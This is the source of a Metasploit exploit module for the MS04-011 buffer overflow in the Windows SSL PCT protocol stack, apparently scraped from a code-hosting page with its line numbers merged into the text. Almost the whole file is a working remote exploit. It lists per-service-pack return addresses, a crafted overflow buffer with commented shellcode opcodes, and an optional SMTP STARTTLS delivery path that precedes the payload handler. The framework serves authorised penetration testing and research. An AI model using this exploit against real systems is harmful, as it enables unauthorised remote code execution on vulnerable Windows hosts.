Path: blob/master/modules/exploits/windows/ssl/ms04_011_pct.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS04-011 Microsoft Private Communications Transport Overflow',15'Description' => %q{16This module exploits a buffer overflow in the Microsoft17Windows SSL PCT protocol stack. This code is based on Johnny18Cyberpunk's THC release and has been tested against Windows192000 and Windows XP. To use this module, specify the remote20port of any SSL service, or the port and protocol of an21application that uses SSL. The only application protocol22supported at this time is SMTP. You only have one chance to23select the correct target, if you are attacking IIS, you may24want to try one of the other exploits first (WebDAV). If25WebDAV does not work, this more than likely means that this26is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS275.1). Using the wrong target may not result in an immediate28crash of the remote system.29},30'Author' => [ 'hdm' ],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2003-0719'],34[ 'OSVDB', '5250'],35[ 'BID', '10116'],36[ 'MSB', 'MS04-011'],37['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],38['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION]39],40'Privileged' => true,41'DefaultOptions' => {42'EXITFUNC' => 'thread',43},44'Payload' => {45'Space' => 1800,46'BadChars' => "",47'StackAdjustment' => -3500,48},49'Platform' => 'win',50'Targets' => [51[52'Windows 2000 SP4',53{54'Platform' => 'win',55'Ret' => 0x67419ce8, # jmp [esp + 0x6c]56},57],58[59'Windows 2000 SP3',60{61'Platform' => 'win',62'Ret' => 0x67419e1d, # jmp [esp + 0x6c]63},64],65[66'Windows 2000 SP2',67{68'Platform' => 'win',69'Ret' => 0x6741a426, # jmp [esp + 0x6c]70},71],72[73'Windows 2000 SP1',74{75'Platform' => 'win',76'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]77},78],79[80'Windows 2000 SP0',81{82'Platform' => 'win',83'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]84},85],86[87'Windows XP SP0',88{89'Platform' => 'win',90'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]91},92],93[94'Windows XP SP1',95{96'Platform' => 'win',97'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]98},99],100],101'DisclosureDate' => '2004-04-13',102'DefaultTarget' => 0,103'Notes' => {104'Reliability' => UNKNOWN_RELIABILITY,105'Stability' => UNKNOWN_STABILITY,106'SideEffects' => UNKNOWN_SIDE_EFFECTS107}108)109)110111register_options(112[113OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])114]115)116end117118def exploit119begin120connect121rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e122print_error("Cannot connect: #{e.message}")123return124end125126print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")127128# This is a heap ptr to the ssl request129# ... and just happens to not die ...130# Thanks to CORE and Halvar131#132# 80620101 => and byte ptr [esi+1], 0x2133# bd00010001 => mov ebp, 0x1000100134# 0016 => add [esi], dl135# 8f8201000000 => pop [esi+1]136# eb0f => jmp short 11 to shellcode137138buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00" +139"\xeb\x0f" + 'XXXXXXXXXXX' +140[target.ret ^ 0xffffffff].pack('V') +141payload.encoded142143# Connect to a SMTP service, call STARTTLS144if (datastore['PROTO'] == 'smtp')145begin146greeting = sock.get_once147rescue ::EOFError => e148print_error("Failed to receive data for the protocol greeting: #{e.message}")149return150end151152begin153sock.put('HELO ' + (rand_text_alphanumeric(rand(10) + 1)) + "\r\n")154resp = sock.get_once155rescue ::Timeout::Error156print_error("Timedout while sending HELO")157return158rescue ::EOFError => e159print_error("Failed to receive a response for HELO: #{e.message}")160return161end162163begin164sock.put("STARTTLS\r\n")165resp = sock.get_once166rescue ::Timeout::Error167print_error("Timed out while sending STARTTLS")168return169rescue ::EOFError => e170print_error("Failed to receive a response for STARTTLS: #{e.message}")171return172end173174if (resp and resp !~ /^220/)175print_warning("Warning: this server may not support STARTTLS")176end177end178179begin180sock.put(buf)181resp = sock.get_once182rescue ::Timeout::Error => e183print_error("Timed out while sending the malicious data")184return185rescue ::EOFError => e186print_error("Failed to receive a response after the malicious data: #{e.message}")187return188end189190if (resp == "\x00\x00\x01")191print_status("The response indicates that the PCT protocol is disabled")192end193194handler195disconnect196end197end198199200